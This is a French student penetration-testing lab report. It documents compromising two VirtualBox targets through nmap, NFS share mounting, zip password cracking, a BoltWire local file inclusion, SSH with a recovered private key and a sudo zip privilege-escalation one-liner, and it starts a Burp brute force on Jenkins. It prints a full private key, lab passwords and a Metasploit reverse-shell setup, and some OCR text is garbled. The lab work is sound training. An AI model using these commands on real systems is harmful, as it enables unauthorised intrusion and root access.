Not shown: 65526 closed tcp pe	orts (reset)
PORT STATE SERVICE VERS	ION
22/tcp open ssh Open	SSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
ssh-hostkey:	
2048 bd:96:ec:08:2f:b1:ea	:06:ca:fc:46:8a:7e:8a:e3:55 (RSA)
<pre>256 56:32:3b:9f:48:2d:e0:3</pre>	7e:1b:df:20:f8:03:60:56:5e (ECDSA)
<pre> _ 256 95:dd:20:ee:6f:01:b6:</pre>	e1:43:2e:3c:f4:38:03:5b:36 (ED25519)
80/tcp open http Apacl	he httpd 2.4.38 ((Debian))
_http-title: Bolt - Installa	tion errorpractice, and it is good for overall security.
_http-server-header: Apache/2	2.4.38 (Debian) s currently serving the incorrect fold
111/tcp open rpcbind 2-4	(RPC #100000)
rpcinfo:	
program version port/p	roto service
100000 2,3,4 111/	tcp rpcbind
100000 2,3,4 111/	udp rpcbind
100000 3,4 111/	tcp6 rpcbind
100000 3,4 111/	udp6 rpcbind
100003 3 2049/1	udp nfs
100003 3 2049/	udp6 nfs 'document root'.
100003 3,4 2049/1	tcp nfs
100003 3,4 2049/1	tcp6 nfs
100005 1,2,3 35269/0	udp6 mountd
100005 1,2,3 37045/	tcp mountd malively, move everything up one lev
100005 1,2,3 48465/	tcp6 mountdier, extract it in //var/www/ instead. If y
100005 1,2,3 56003/0	udp mountd
100021 1,3,4 42879/1	tcp nlockmgr
100021 1,3,4 43515/	udp6 nlockmgr
100021 1,3,4 44165/1	tcp6 nlockmgr
100021 1,3,4 49578/	udp nlockmgr <sup>ieet, astressment</sup>
100227 3 2049/	tcp nfs_acl
100227 3 2049/	tcp6 nfs_acl
100227 3 2049/	<pre>udp nfs_acl copy this snippet now, because yo</pre>
1_ 100227 3 _ 2049/u	udp6 nfs_acl
2049/tcp open nfs 3-4	(RPC #100003)
8080/tcp open http Apacl	he httpd 2.4.38 ((Debian))
[_http-server-header: Apache/	2.4.38 (Debian) options aren't possible for you, ple
I_nttp-title: PHP /.3.2/-1~der	b10u1 - pnp1nto()
http-open-proxy: Potentially	y OPEN proxy.
[_Methods supported:CONNECTION	N Bolt documentation - Setup / Installation (DDC #1000005)
35829/tcp open mountd 1-3	(RPC #100005)
3/045/tcp open mountd 1-3	(RPC #100005)
428/9/tcp open nlockmgr 1-4	(RPC #100021)
MAC Address, APIA0127 Chican	(RPC #100005)
MAC Address: 08:00:27:CA:CO:1.	3 (Oracle VirtualBox Virtual NIC)
Device type: general purpose	

Figure 59 : Découverte des services

Pierre FROSTIN et Matthias DUMAS – BUT2 R&T La Rochelle – 2024-2025 Page **42** sur **91**  Les services suivants tournent actuellement sur la machine :

- TCP 22 : SSH OpenSSH v7.9p1 sur Debian 10
- TCP 80 : Serveur Web Apache 2.4.38 avec une page web « Bolt Installation error »
- TCP 111 : Service RPC
- TCP 2049 : **NFS v3-4** port d'écoute pour les échanges de fichiers en réseau sur les systèmes Linux
- TCP 8080 : Serveur Web Apache 2.4.38 et PHP 7.3.27 avec une page web « phpinfo »

## 2. Exploit du protocole NFS

Nous avons vu précédemment que le service NFS est actif sur cette machine. Nous allons tenter de trouver des failles exploitables sur ce protocole pour obtenir des fichiers :



Figure 60 : Liste des exploits concernant NFS sur Metasploit

Notre objectif est de créer un point de montage, nous utilisons donc *NFS Mount Scanner* avec les options suivantes :



Figure 61 : Enumération des partages NFS actifs

Nous pouvons donc observer qu'un partage NFS est actif sur le chemin /srv/nfs. Nous allons donc créer un point de montage sur notre machine Kali dans le répertoire /mnt/nfsconnect. Voici la commande utilisée pour créer un point de montage (temporaire puisque non remonté au redémarrage de Kali, pour cela il faudrait modifier le fichier fstab) :

mount -t [protocol] -o [options] [@IP:chemin] [point
montage]

(	user	1® kali	i)-	[~]				N	
L_\$	<u>sudo</u>	mount		nfs	vers=3	172.16.0	.5:/srv/nfs	/mnt/nfsconnect	nolock

Figure 62 : Montage du partage NFS

L'option vers=3 précise la version de NFS utilisée (nous avons observé sur NMAP que les versions supportées sont 2 et 3), et l'option **nolock** désactive le verrouillage des fichiers NFS, cela peut résoudre des problèmes dans certains cas.

Voici le contenu de ce répertoire :



Figure 63 : Contenu du partage NFS

Nous copions cette archive en local pour pouvoir l'examiner. Dans un premier temps, nous tentons de la dézipper mais le système demande un mot de passe pour déverrouiller l'archive :



Figure 64 : Mot de passe requis pour dézipper l'archive

Nous allons donc utiliser l'outil **zip2john** pour obtenir le hash de cette archive et ainsi tenter de retrouver le mot de passe :



Figure 65 : Obtention du hash de l'archive

L'outil **john** va maintenant nous permettre de réaliser un bruteforce sur le hash obtenu :



Figure 66 : Brutorforce sur le hash de l'archive

Nous obtenons le mot de passe de l'archive : **java101**. Voici les fichiers découverts dans cette archive :





id_rsa ×
1 —— BEGIN OPENSSH PRIVATE KEY——
2 b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDVFCI+ea
3 0xYnmZX4CmL9ZbAAAAEAAAAAAAAAAAAAAAAAB3NzaC1yc2EAAAADAQABAAABAQC/kR5×49E4
4 @gkpiTPjvLVnuS3POptOks9qC3uiacuyX33vQBHcJ+vEFzkbkgvtO3RRQodNTfTEB181Pj
5 3AyGSJeQu6omZha8fVHh/y2ZMRjAWRs+2nsT1Z/JONKNWMYEqQKSuhBLsMzhkUEEbw3WLq
6 S0kiHCk/0VnPZ8EdMCsMGdj2MUm+ccr0GZySFg5SAJzJw2BGnjFSS+dERxb7e9tSLgDv4n
7 Wg7fWw2dcG956mh1ZrPau7Gc1hFHQLLUHPgXx3Xp0f5/pGzkk6JACzCKIQj0Qo3ueb6JSC
8 xWgwn6ey6XywTi9i7TdfFyCSiFW//jkeczyaQOxI/hyqYfLeiRB3AAAD0PHU/4RN8f2HUG
9 ks1NM9+C9B+Fpn+nGjRj6/53m3HoBaUb/JZyvUvOXNoYnxNKIxHP5r4ytsd8X8xp5zTpi1
10 tNmTeoB1kyoi2Uh70yPo4M6VlNupSeCzMQIYs/Wqya4ycyv1/yhGAPTZg8ARqop/RTQJtI
11 EYVDbTxKxr7JGBfaBPiFWdUIKlN1yBXWMRrIs3SBoOaQ/n+CZKQ65mMFRs4VwqpUsRJ8y7
12 ZoLZIfwaunV5f10PsCR8rp/2g563gK0bu+iVUqeo+kJMtFN7yEj2OaO6N/EdO4x/LVhqjY
13 SPZD6w23mPp2I693oop1VpITsHV2talK1lLvS239gU45J4VlxFtcLjRlSAhc1ktnHw1e4u
14 dRZ68JW0z2S4Y8q4E0/H4kGlZsyaf6oLCspGW1YQPhDJ2v6KkgRXyFb3tvo617yGEcBzzh
15 wrVuEXObOc+zDOYgw1a/1×1pzK5vGQWaUOjN2FEz+vnSPTX3cbgUkLh3ZshuVzov0Rx7i+
16 AM0CNiXVmgCGdLg0yBIv8lFIjYxswxTRkNzKYSagEZQNFCf+0H1cZcXKCK8z9a2NvBkQ/b
17 rGvuoZuIjGqGvMP3Ifdma7PsG3A8GNOgWnl9YuMgc4r2WulsQVLVEJGIJjap71oNwGCUud
18 T1Ou2tVn7Cf0T/NmuRmh7VUkTagDMf3u5X+UIST5Sv8y2y9jgR4×92ZL+AY968Pif1devc
19 753z+GL7eWfbNqd+TJfxPdh82EqE5cmN/jYOKc0D1MC2zVChNCVWQYf4uVQ0L/XOXQXnFT
20 hWdHfnf/SXos28dSM7Kx6B3jmeZQ60vk0Apas0D9gLz5xZ9GCb0Dwwka4dBSw57cwBbB3E
21 PKXqJFks2ZnkyVL1W8u6ovnkpcqQz1mxr42zdC52Jc30NYww7H2G7v7FYKtf6tEyzeXG2+
22 rcZwO4evWbV158rzrA4ibsGRn8+PM86LI/7T5/Y5pc2T+TAaDjKLRZ0Dtv5nMvHpigqDu4
23 +e/eQk9dTmMPv9jbqcHeRo7N/Q8EC4vtXj/pCPydB5lYw/GMb8Bq5opXzADx0n4zDLtGDC
24 LHcAIF6FMa+kLQHKvG1fDIK2xpLz+HxYCYTS/UAVRtWAdzQ29uG8zFAopGoQGbNA+caq7z
25 iLUBEWHXJktNenIrfF3rqB3m8SNyNIn+MQS3LIakhlHAqXMIWU2pQE/0tF+V8xuKRpZvw/
26 gdhLfAhm2gZMQzOe1cXWhKmtEQUntPdPAyfOTZcUtcs/pKNEjNTz5YnhQqnDbAh5×46UgZ
27 q4xpWBvdz0v8qwF6LXLdPBEcT4T0g=
28 ———END OPENSSH PRIVATE KEY———

Figure 68 : Contenu de la clé SSH

Nous observons donc que le premier fichier est de type texte, il nous apprend que l'auteur a un nom dont les initiales pourraient être **J P**. Le deuxième fichier est une clé privée de connexion à un serveur OpenSSH. Nous verrons par la suite si ces documents nous seront utiles.

## 3. Visite des pages web

Voici la page hébergée par la machine cible sur le port 80 :



*Figure 69 : Page d'erreur d'installation du service Bolt* 

Il s'agit d'une page indiquant une erreur d'installation du service Bolt. Voici maintenant la page hébergée sur le port 8080 :

ō	PHP 7.3.27-	1~deb10u1 - phpi × +	
$\rightarrow$	Câ	O A 172.16.0.5:8080	
ilin	— w 🔿 Kali Ta	els 📮 Kali Dess 🧮 Kali Feruma 📑 Kali NetH	unter · Evalait DR · Coogle Hacking DR · () OffCor
	IX 📅 Kali TU	ots 👱 Kati Docs 🥂 Kati Forunis 💸 Kati Neth	
		PHP Version 7.3.27-1~deb10u	<sup>1</sup> php
		System	Linux dev 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
		Build Date	Feb 13 2021 16:31:40
		Server API	Apache 2.0 Handler
		Virtual Directory Support	disabled
		Configuration File (php.ini) Path	/etc/php/7.3/apache2
		Loaded Configuration File	/etc/php/7.3/apache2/php.ini
		Scan this dir for additional .ini files	/etc/php/7.3/apache2/conf.d
		Additional .ini files parsed	(etc/php/7.3/apache2/conf.d/10-mysqlnd ini, /etc/php/7.3/apache2/conf.d/10-opcache.ini, /etc/ php/7.3/apache2/conf.d/10-pdo.ini, /etc/php/7.3/apache2/conf.d/10-bycache2/ conf.d/20-calendar.ini, /etc/php/7.3/apache2/conf.d/20-ctype.ini, /etc/php/7.3/apache2/conf.d/20- curl.ini, /etc/php/7.3/apache2/conf.d/20-dom.ini, /etc/php/7.3/apache2/conf.d/20-extlini, /etc/php/7.3/apache2/conf.d/20- gache2/conf.d/20-filenicni, /etc/php/7.3/apache2/conf.d/20-josn.ini, /etc/php/7.3/apache2/conf.d/20- gd.ini, /etc/php/7.3/apache2/conf.d/20-dom.ini, /etc/php/7.3/apache2/conf.d/20- extlini, /etc/php/7.3/apache2/conf.d/20-gettext.ini, /etc/php/7.3/apache2/conf.d/20- dom.j. /etc/php/7.3/apache2/conf.d/20-gettext.ini, /etc/php/7.3/apache2/conf.d/20- hp/7.3/apache2/conf.d/20-lnt.ini, /etc/php/7.3/apache2/conf.d/20-byc.ini, /etc/php/7.3/apache2/conf.d/20- dom.ysqli.ini, /etc/php/7.3/apache2/conf.d/20-ggtite.ini, /etc/php/7.3/apache2/conf.d/20- hp/7.3/apache2/conf.d/20-bycsi.ini, /etc/php/7.3/apache2/conf.d/20-exglite.ini, /etc/php/7.3/apache2/conf.d/20- sysvmsgli.ini, /etc/php/7.3/apache2/conf.d/20-sqlite.3ini, /etc/php/7.3/apache2/conf.d/20- sysvmsgli.ini, /etc/php/7.3/apache2/conf.d/20-sqlite.3ini, /etc/php/7.3/apache2/conf.d/20- sysvmsgli.ini, /etc/php/7.3/apache2/conf.d/20-sqlite.3ini, /etc/php/7.3/apache2/conf.d/20- sysvshm.ini, /etc/php/7.3/apache2/conf.d/20-sqlite.3ini, /etc/php/7.3/apache2/conf.d/20-sqlite.3ini, /etc/php/7.3/apache2/conf.d/20-sqlite.3ini, /etc/php/7.3/apache2/conf.d/20-sqlite.3ini,
		PHP API	20180731
		PHP Extension	20180731
		Zend Extension	320180731
		Zend Extension Build	API320180731,NTS
		PHP Extension Build	API20180731,NTS
		Debug Build	no
		Thread Safety	disabled
		Zend Signal Handling	enabled
		Zend Memory Manager	enabled

Figure 70 : Page par défaut de PHP

Il s'agit simplement de la page par défaut de PHP présentant les paramètres et modules définis.

L'inspection du code HTML ne donne rien pour ces deux pages.

Nous allons maintenant scanner les deux pages web à la recherche de fichiers ou répertoires stockés sur le serveur à l'aide de l'outil Nikto :

### nikto -h [@IP] -p [port]

Voici les résultats pour le premier serveur sur le port 80 :



Figure 71 : Scan Nikto de la page web Bolt

Après avoir visité les différents répertoires et fichiers, nous trouvons dans le répertoire /app/config un fichier config.yml qui nous indique un mot de passe :

← → C @	0 8	172.16.0.5/app/config/	Open 🔻 .	•	<b>config(2).yml</b> ∼/Downloads
🌂 Kali Linux 🛛 🔒 Kali To	ols 🧧 Kali Docs 🐹 K	(ali Forums 🛛 🤜 Kali NetH	1 # Database 2 #	setup. The driv	ver can be either 'sqlite', 'mysql' or 'postgres'.
Index of /	/app/con	fig	3 # For SQLit 4 # also requ 5 # server is	e, only the dat ire 'username', not on the sam	abasename is required. However, MySQL and PostgreSQL 'password', and optionally 'host' ( and 'port' ) if the he host as the web server.
<u>Name</u>	Last modified	Size Description	7 # If you're 8 database:	trying out Bol	t, just keep it set to SQLite for now.
Parent Directory			9 driver: 10 databas	sqlite ename: bolt	
config.yml	2021-06-01 15:38	3 21K	11 usernam	e: bolt	
contenttypes.ym	2021-06-01 10:12	2 12K	<b>12 passwor</b> 13	d: I_love_java	
<u>extensions/</u>	2020-10-19 12:51		14 # The name	of the website	
🕐 <u>menu.yml</u>	2021-06-01 10:12	672	15 sitename: A 16 pavoff: The	sample site amazing pavoff	goes here
permissions.yml	2021-06-01 10:12	8.3K	17		
routing.yml	2021-06-01 10:12	3.4K	18 # The theme	to use.	
🕈 <u>taxonomy.yml</u>	2021-06-01 10:12	793	20 # Don't edi	t the provided	templates directly, because they _will_ get updated
Apache/2.4.38 (Debi	an) Server at 172	16.0.5 Port 80	21 # in next r 22 # change th 23 theme: base	releases. If you he name here acc -2018	ı wish to modify a default theme, copy its folder, and cordingly.

Figure 72 : Contenu du fichier config.yml

Nous trouvons donc le mot de passe **I\_love\_java**, vraisemblablement utilisé pour une base de données SQLite.

Malgré tout, nous tentons de trouver un exploit sur la version d'Apache installée sur le serveur :

msf6 >	search apache 2.4	.com_stmt_reset	1				
Matchi	ng Modules						
	Name		Disclosure Date	Rank	Check	Description	
	<pre>exploit/multi/http/apache_normali:</pre>	ze_path_rcered_real_data_ps	2021-05-10		Yes	Apache 2.4.49/2.4.50 Traversal RCE	
	<pre>\_ target: Unix Command (In-Memo auxiliary/scanner/http/apache_nor</pre>	ary) malize_path	2021-05-10 OP	normal		Apache 2.4.49/2.4.50 Traversal RCE scann	er
	<pre>\_ action: CHECK_RCE \_ action: CHECK_TRAVERSAL &gt; action: READ FILE</pre>					Check for RCE (if mod_cgi is enabled). Check for vulnerability. Read file on the remote server	
	exploit/multi/http/shiro_remembern \_ target: Unix Command payload	me_v124_deserialize	2016-06-07		No	Apache Shiro v1.2.4 Cookie RememberME De	serial RCE
9 10	<pre>\_ target: Windows Command paylo exploit/linux/misc/nimbus_gettopo</pre>	bad logyhistory_cmd_exec	2021-10-25			Apache Storm Nimbus getTopologyHistory U	nauthenticated Command Execution
11 12 13 14	<pre>\_ target: Unix Command</pre>	thenticate_user_unauth_command_injection	2020-12-27		Yes	Klog Server authenticate.php user Unauth	enticated Command Injection
15 16	\_ target: Linux (x64) \_ target: Linux (cmd)						
	exploit/unix/webapp/wp_phpmailer_t	host_header	2017-05-03	average		WordPress PHPMailer Host Header Command	Injection
	ct with a module by name or index.	For example info 17, use 17 or use explo					



Name	Current Setting	Required	Description			
CVE DEPTH Proxies RHOSTS RPORT SSL TARGETURI VHOST	CVE-2021-42013 5 443 true /cgi-bin	yes no yes yes no yes no	The vulnerability to use (Accepted: Depth for Path Traversal A proxy chain of format type:host:po The target host(s), see https://docs The target port (TCP) Negotiate SSL/TLS for outgoing conne Base path HTTP server virtual host	CVE-2021-41773, CVE-2021-42013) rt[,type:host:port][] .metasploit.com/docs/using_metas ctions	ploit/basics/using-m	etasploit.htm
	(]:		OpenSTLL Prary Version			
Paytoad optio	ns (linux/x64/me)	terpreter/r	OpenSSL Header Version			
Name Cur	rent Setting Red	quired Des	cription Opensed default config			
LHOST	yes	s The	listen address (an interface may be	specified)		
LPORT 444	4 yes	s The	listen port Directive			
Exploit targe	t:					
Id Name  Ø Automa	tic (Dropper)					
/iew the full	module info with	h the info,	or info -d command.			
nsf6 exploit(			PCRE Unicode Version			
RHOSTS $\Rightarrow$ 172	.16.0.5		PERE IT Support			
<u>nsr6</u> exploit( RPORT ⇒ 8 <u>0</u>			para real set RPORT 80			
<u>nsf6</u> exploit( LHOST ⇒ 127.	multi/http/apache 0.0.1	e_normalize	<pre>path_rce) &gt; set LHOST 127.0.0.1 Directive</pre>	Local Value		Master Value
exploit(mul	ti/http/apache_	normalize	path rce) > run			

*Figure 74 : Tentative d'exploit non concluante* 

vulnerable: The target is not exploitable. s created.

L'attaque n'a pas fonctionné en raison d'une erreur liée au SSL. Nous ne perdons pas de temps sur cette attaque, et nous passons directement au deuxième serveur web sur le port 8080 :



Figure 75 : Scan Nikto de la page web PHP

Le répertoire **/dev** semble intéressant puisque Nikto indique qu'un cookie est créé. Nous visitons cette page web :



Figure 76 : Page web stockée dans /dev

En cliquant sur les différents liens du site web, nous trouvons une page **register**, sur laquelle nous pouvons nous inscrire avec les identifiants **user/user** (choisis arbitrairement car le site semble autoriser n'importe quelle création de compte) :



## 4. Exploit de BoltWire

Après quelques recherches à propos de BoltWire, nous trouvons un exploit **BoltWire 6.03** - Local File Inclusion (voir <u>sources</u>) qui permet d'afficher le contenu d'un fichier en passant en paramètre de l'URL un chemin d'accès. Dans notre cas, cette attaque nous permet de récupérer le contenu du fichier **/etc/passwd**, listant tous les utilisateurs, leurs groupes, leurs *home* ainsi que leur shell par défaut :



You are currently logged in as: User

sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/ systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/ systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver...:/run/systemd:/usr/sbin/ nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin jeanpaul:x:1000:1000:jeanpaul,,,:/home/jeanpaul:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin statd:x:108:65534::/var/lib/nfs:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uccp:x:10:10:uucp:/var/spool/uccp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

Figure 78 : Exploit permettant d'afficher le contenu de /etc/passwd

Cette manipulation nous permet de voir qu'un utilisateur **jeanpaul** est présent dans la liste. Cela concorde avec la signature **JP** trouvée dans l'archive .zip découverte précédemment.

## 5. SSH et escalade de privilèges

Cet utilisateur trouvé va pouvoir nous permettre de se connecter en SSH au serveur, avec la clé privée contenue dans l'archive .zip également :

└\$ ssh -i Desktop/id_rsa jeanpaul@172.16.0.5
<u> </u>
බ WARNING: UNPROTECTED PRIVATE KEY FILE! බ
<u> </u>
Permissions 0744 for 'Desktop/id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "Desktop/id_rsa": bad permissions
jeanpaul@172.16.0.5's password: systemd:/usr/sbin/nologin

Figure 79 : Tentative de connexion SSH avec l'utilisateur jeanpaul

Nous obtenons un message d'erreur à la connexion concernant les droits d'accès au fichier. En effet, les droits 0744 indiquent :

- Propriétaire : Lecture, Ecriture, Exécution
- Groupe : Lecture
- Autres : Lecture

Le shell indique que les autres utilisateurs ne devraient pas avoir accès au fichier. Nous appliquons donc les droits d'accès 0700 au fichier pour retirer au groupe et aux autres l'accès en lecture :

### chmod 700 [private\_key\_file]



Figure 80 : Modification des droits d'accès au fichier de la clé privée SSH

Nous pouvons donc maintenant retenter la connexion avec notre clé privée et notre utilisateur **jeanpaul**, en testant les mots de passe **java101** puis **I\_love\_java** que nous avons pu trouver précédemment :



Figure 81 : Connexion à SSH avec la clé privée SSH et le mot de passe

Le mot de passe **I\_love\_java** nous donne bien l'accès SSH de l'utilisateur **jeanpaul**. Vérifions maintenant si cet utilisateur possède des privilèges administrateur.

jeanpaul@dev:~\$ sudo su	systemd-resolverx-103-104-sv
We trust you have received the usual Administrator. It usually boils down	lecture from the local System to these three things:
#1) Respect the privacy of other #2) Think before you type. #3) With great power comes great	s. responsibility.
<pre>[sudo] password for jeanpaul: Sorry, try again. [sudo] password for jeanpaul: Sorry, try again. [sudo] password for jeanpaul: sudo: 2 incorrect password attempts jeanpaul@dev:~\$ ls jeanpaul@dev:~\$ whoami jeanpaul@dev:~\$ pwd /home/jeanpaul jeanpaul@dev:~\$</pre>	systemd-coredump:x:999:999 mysql:x:106:113:MySQL Serve _rpc:x:107:65534::/run/rpcbine statd:x:108:65534::/var/lib/nfs

Figure 82 : Contrôle des accès administrateur de jeanpaul

L'utilisateur n'est pas administrateur en utilisant les deux mots de passe utilisés pour la connexion SSH. Nous pouvons tout de même visualiser les commandes utilisables par **jeanpaul** en tant que root sur le système, sans utiliser de mot de passe :



Figure 83 : Liste des applications pouvant être exécutées en root sans mot de passe

Pierre FROSTIN et Matthias DUMAS – BUT2 R&T La Rochelle – 2024-2025 Page **55** sur **91**  Notre utilisateur peut donc utiliser sans mot de passe l'outil **zip** en tant que root. Nous pouvons donc effectuer une escalade de privilèges. Après quelques recherches, nous trouvons une suite de commandes permettant l'accès sudo à partir de l'outil **zip** :



Figure 84 : Elévation de privilèges depuis l'application zip

- 1. TF=\$(mktemp -u) crée un nom de fichier temporaire et le stocke dans la variable TF
- sudo zip \$TF /etc/hosts -T -TT 'sh #' compresse le fichier /etc/hosts dans le fichier temporaire, avec les options -T et -TT visant à exécuter certaines commandes. 'sh #' permet d'afficher un dièse en tant qu'écran de shell.

De là, nous pouvons voir que la commande **whoami** indique root, et que nous avons accès au fichier **/etc/shadow**, normalement accessible uniquement aux utilisateurs root. Nous sommes donc administrateur sur la machine cible.

# Machine vulnérable 4 : Butler

1. Découverte de l'adresse IP et des services de la machine

Nous recherchons dans un premier temps l'adresse IP de la machine cible :

File Actions	Edit View Hel	р			
Currentlysc	anning: Finishe	d!e/k li/Screen	View: U	Jnique Hosts	
4 Captured A	RP Req/Rep pack	ets, from 4 hos	ts. To	otal size: 240	
IP	At MAC Addr	ess Count	Len	MAC Vendor / Hostr	name
10.0.2.1	52:54:00:12	:35:00 1	60	Unknown vendor	
10.0.2.2	52:54:00:12	:35:00 1	60	Unknown vendor	
10.0.2.3	08:00:27:c9	:b4:9c 1	60	PCS Systemtechnik	GmbH
10.0.2.80	08:00:27:8b	:18:a4 1	60	PCS Systemtechnik	GmbH

Figure 85 : Adresse IP

La machine cible est connectée avec l'adresse IP 172.16.0.5. Nous scannons les ports avec NMAP :

<pre>[mail: [~]</pre>	
└_\$ nmap -T4pA 10.0.2.80	
Starting Nmap 7.94SVN ( https:	//nmap.org ) at 2024-12-12 15:39 CET
Nmap scan report for 10.0.2.80	
Host is up (0.011s latency).	
Not shown: 65523 closed tcp po	rts (conn-refused)
PORT STATE SERVICE	VERSION
135/tcp open msrpc	Microsoft Windows RPC
139/tcp open netbios-ssn	Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?	
5040/tcp open unknown	
7680/tcp open pando-pub?	
8080/tcp open http	Jetty 9.4.41.v20210516
_http-title: Site doesn't hav	e a title (text/html;charset=utf-8).
<pre> _http-server-header: Jetty(9.</pre>	4.41.v20210516)
http-robots.txt: 1 disallowe	d entry
1_/	
49664/tcp open msrpc	Microsoft Windows RPC
49665/tcp open msrpc	Microsoft Windows RPC
49666/tcp open msrpc	Microsoft Windows RPC
49667/tcp open msrpc	Microsoft Windows RPC
49668/tcp open msrpc	Microsoft Windows RPC
49670/tcp open msrpc	Microsoft Windows RPC
Service Info: OS: Windows; CPE	: cpe:/o:microsoft:windows
Host script results:	
I_nbstat: NetBIOS name: BUTLER	, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:2</unknown>
7:88:63:77 (Oracle VirtualBox	virtual NIC)
smb2-time:	
date: 2024-12-12122:42:53	
I_ start_date: N/A	
smb2-security-mode:	
3:1:1:   Manage signing sachlad	the set of
I	but not required
1_CLOCK-SREW: 7115911575	
Service detection performed D	lesse report any incorrect results at https://n
man org/submit/	cease report any incorrect results at https://n
Nman done: 1 TP address (1 hos	t un) scanned in 222-19 seconds
map dolle. I IF address (I 1105	t up/ settined in 222.19 seconds

Figure 86 : Découverte des services

Ports et services identifiés :

- 135/tcp (msrpc) : Utilisé par Microsoft RPC (Remote Procedure Call). Les services RPC sont souvent ciblés pour l'exécution de code à distance si des failles existent. Nous abandonnons cette piste car la machine sensible est trop récente c'est un windows 10, les systèmes qui pourraient être affectés par cette faille sont les suivants : Microsoft Windows 2000, Microsoft Windows NT 4, Microsoft Windows NT 4.0 Terminal Services Edition, Microsoft Windows Server 2003, Microsoft Windows XP.
- 139/tcp et 445/tcp (netbios-ssn, microsoft-ds) : Services NetBIOS et SMB utilisés pour le partage de fichiers. Encore une fois nous avons fait nos recherches et nous n'avons trouvé aucune piste à exploiter pour une machine aussi récente que celle que nous devons pentester.
- **8080/tcp (Jetty 9.4.41.v20210516)** : Serveur web Jetty, nous décidons donc de nous concentrer sur ce service qui pourrait avoir certaine faille.

Nous essayons d'abord de nous connecter au serveur web Jetty avec un navigateur web :

单 🛛 🌻 Sign in	[Jenkins]						
$\leftarrow \ \rightarrow \ G$	۵	🔿 웥 10.0.2.8	<b>)</b> :8080/login?from=%				
inux 💦	Kali Tools 🧧 Kal	i Docs  🗙 Kali Forum	s  Kali NetHunter 🛉	🝬 Exploit-DB 🔺	Google Hacking DB	() OffSec	
						6 3	
						Welcome to Jenk	kins!
						Username	
						Password	
						Sign in	
						Keep me signed in	

Figure 87 : Page de connexion de Jenkins

Nous retrouvons sur une page de connexion à un service s'appelant Jenkins. Avant d'effectuer des recherches sur ce service, nous décidons d'effectuer un **dirb** pour trouver des potentiels sous-répertoires :



Figure 88 : Enumération des fichiers sur le serveur

Nous ne trouvons rien de particulier. Nous décidons donc d'effectuer certaines recherches sur le service Jenkins.

Nous trouvons que le login et le mot de passe par défaut de Jenkins est admin/password, nous remarquons que cela ne fonctionne pas.

Nous revenons donc à la page de connexion de ce service Jenkins et nous pensons à utiliser l'outil **BurpSuite** qui permet de faire des bruteforce.

## 2. Brute force avec BurpSuite

Pour commencer, nous configurons notre navigateur avec BurpSuite comme proxy.

Ensuite, nous nous rendons sur BurpSuite et ouvrons l'onglet Proxy. Nous cliquons ensuite sur Open Browser pour ouvrir le navigateur intégré à BurpSuite et collons l'URL de la page de connexion de Jenkins.

Nous cliquons sur le bouton **Intercept is off** pour le passer en **ON**. Nous allons suite dans le navigateur, et nous entrons un nom d'utilisateur et un mot de passe aléatoires puis nous cliquons sur le bouton se connecter. La requête sera interceptée par BurpSuite, et la page de connexion dans le navigateur restera bloquée. Nous allons dans l'onglet Proxy et nous envoyons la requête et sélectionnons **Send to Intruder**.

Nous accédons maintenant à l'onglet Intruder et sous **Attack type**, nous sélectionnons **Cluster Bomb**. Cela permet d'utiliser deux listes de mots différentes (par exemple, une pour les noms d'utilisateur et une autre pour les mots de passe).



Figure 89 : Payload pour la connexion à Jenkins

Nous cliquons sur **Clear §** pour effacer les points définis par défaut, puis nous sélectionnons le nom d'utilisateur et le mot de passe et nous cliquons sur **Add §**.

j\_username=§fxgh§&j\_password=§dfh§&from=%2F&Submit=Sign+in

*Figure 90 : Modification de la requête pour bruteforce* 

Dans l'onglet Payloads nous pouvons mettre les listes de login et mot de passe que nous allons utiliser pour le brute force :

shboard 1 rensions Li	Farget F	roxy Intr	ruder Re	epeater	Collaborator	Sequencer	Decoder	Comparer	Logger	Organizer	(3) Setti
× 2 ×	+										۶
itions Pay	loads Re	esource pool	Settings								
Pavload set	s										tart attack
You can define	one or more p	avload sets. Th	e number of pa	avload sets	depends on the atta	ck type defined in t	he Positions tab.	. Various payload I	tvpes are avail;	able for each pay	/load set, an
each payload t	ype can be cus	tomized in diffe	erent ways.	1							
Payload set:	1	~	Payload c	ount: 0							
Payload type:	Simple list	~	Request c	:ount: 0							
Paste Load		flyure a surpse	! list or string.	Indi art us	ed as payuaus.						
Remove	$\exists$				•						
Clear											
Deupicee											
Add	Entera	newitem									
Add from list	[Pro version	only]			$\sim$						
Payload pro	rules to perfor Enabled	rm various proc	:essing tasks or	n each payle	pad before it is used.						
Edit											
Remove											
Up						•					
Down											
Pavload en	oding										
i uytouu ciii	2										

Figure 91 : Choix des wordlists pour bruteforce
